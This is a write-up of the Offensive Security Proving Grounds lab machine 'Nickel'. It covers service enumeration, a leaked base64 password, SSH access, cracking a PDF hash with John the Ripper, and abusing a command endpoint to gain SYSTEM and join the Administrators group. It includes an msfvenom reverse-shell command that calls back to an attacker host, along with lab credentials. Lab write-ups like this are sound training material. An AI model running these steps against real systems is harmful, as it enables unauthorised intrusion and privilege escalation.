> For the complete documentation index, see [llms.txt](https://pentesting.zeyu2001.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentesting.zeyu2001.com/proving-grounds/get-to-work/nickel.md). # Nickel Writeup for Nickel from Offensive Security Proving Grounds (PG) ## Information Gathering ### Service Enumeration `nmapAutomator.sh -H 192.168.90.99 -t full` `nmapAutomator.sh -H 192.168.90.99 -t vulns` ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-Madc9yBhBUXjngbfuWQ%2F1045d818848140149939ce15119699b7.png?alt=media\&token=6bcd757e-5304-44c3-9aa4-373cbd7fb4c3) ### SMB (139) ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadcCdnJ2Tdv72s319q%2F64cdf5bd2faa4a01852053c13908f9fb.png?alt=media\&token=1d323ddb-b5fe-4066-b1fe-bd470cf7d3f2) `msfvenom -p windows/shell_reverse_tcp LHOST=192.168.49.90 LPORT=443 EXITFUNC=thread -f python` ### HTTP On port 8089, we have a dashboard: ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadcG24-jf27BIrOFQ5%2Fa3933bd9bebf4c0a9c93c5fe44503947.png?alt=media\&token=7238351d-37bf-4cc5-8928-60920c64f27e) Each of the links bring us to 169.254.109.39:33333. By going to 192.168.90.99:33333 instead, we get a Not Found response for `/list-current-deployments`. ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadcIjCMFd_4CHnHxkV%2F4cec4421bd9c4158bb1880db75fa179d.png?alt=media\&token=ada254e1-40b6-46ad-ab87-edf4b77cca9b) We get a different message, however, for `/list-running-procs`. ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadcLDizjz-8OVQZ--g%2Fcf537764455c492e83a0948e6ba495bc.png?alt=media\&token=c01d10e0-b461-4602-ac93-3e9c38d4b2d6) If we send a POST request instead, we indeed see a list of running processes! ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadcNzZ2sGBG42VwDgl%2F5eb1b60892d4431cbdebe0d177a076dd.png?alt=media\&token=af702d0a-fc5f-4e49-9cfc-54d0c1a04452) In the command line of one of the processes, we get a user's credentials. ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadcRXrAms03CEPU5E2%2Fab277a17ba334b6998e3a7cd268c2cce.png?alt=media\&token=5088cb96-f298-4d82-9a81-9f7c181deed3) Plugging the `-p` parameter into CyberChef, we can see that it is a Base 64 encoded password (`NowiseSloopTheory139`) ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadcdpGKznO8df7REyT%2F41e26e8cf30747bca4f5fddfb09b08fd.png?alt=media\&token=dddc69d3-8706-4cfd-b860-67a9ec559f3a) Using the credentials `ariah:NowiseSloopTheory139`, we can SSH into the server. ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-Madch-rRynNWf0WllFA%2F5838d7d87c9b40a19bc5ff39adeb3c86.png?alt=media\&token=243d5a53-f54d-413a-8d2f-e68b5f59f634) ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadcjyL3e0d8NQGSs-G%2F4aa83527e8ca4029a2024db4ddbf153c.png?alt=media\&token=3b7644d0-79fb-4073-819e-90a528a6e29a) ## Privilege Escalation Using previously found credentials for `ariah`, we can access the FTP service and download a PDF file. ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadcmxlNY5XHeNWPUXD%2F8ca2b5288277417a80cbfd0b4f79db4e.png?alt=media\&token=169eb1bd-3ba1-4de8-8748-2055f9f57d66) However, a password is required. The previously found password does not work. ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadcusSzyGqmXlTzxho%2Ff2fb41921fb54cf89abdf79a2b6fb456.png?alt=media\&token=6bb61c0f-fff7-4740-8629-5f6b468a2156) Use `pdf2john.pl` to extract the hash. `perl john-bleeding-jumbo/run/pdf2john.pl Infrastructure.pdf > Infrastructure-Hash.txt` Use John the Ripper to crack the hash. `john --wordlist=/usr/share/wordlists/rockyou.txt Infrastructure-Hash.txt` ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-Madd2d3-dAp4dFUQAu5%2F3bd8f13aa95d477dabe49c1be7bbf17f.png?alt=media\&token=ea03a383-5438-47d0-ac56-946df6815cfe) The password is `ariah4168`. Here, we find a 'Temporary Command endpoint' at `http://nickel/` that is only accessible through the remote machine. ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MaddNfwv6V0xyZ6_Cp8%2F1aa2582346c249ba9df0f07d81277f76.png?alt=media\&token=09424e60-be63-4ef8-8337-376ac7db769d) Using Powershell, we can send a GET request to the API endpoint. `$Resp = Invoke-WebRequest 'http://nickel/?whoami' -UseBasicParsing` This executes `whoami`, and we can see the output below. ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MaddeooDXYRfVag101z%2Ff500a3e48246421d95b2ad7cf6000dd7.png?alt=media\&token=6154ae93-515e-4069-b54f-ac4c1a6c3b5d) We have RCE as SYSTEM. However, any outgoing traffic is blocked, so we cannot spawn a second reverse shell as SYSTEM. Let's do the next best thing - adding ourselves to the `Administrators` group. `localgroup Administrators ariah /add` ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-Maddi-WO9AwVUhIlUY3%2Fcea4dbb492834bf1b1ee05bad6691f6d.png?alt=media\&token=187a839d-e801-4963-ac75-195353e01b62) If we check the Administrators group again (`net localgroup Administrators`), we can see that our user `ariah` was added. ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-Madf3eW89-4k9VCyTkd%2F08e2c6ebc57c40b38e0dfa2befa4c23e.png?alt=media\&token=7f39fdb0-eaaf-4b21-89fa-eea1b7d7ce6a) Now, we can RDP into the machine and run the command prompt as Administrator. ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadfTe8Yr3A1hWHFp7y%2F25b536a08bb1444ca6ae2e30db8ab979.png?alt=media\&token=73875d4b-7b1a-448e-8511-10d0fa86b2bc)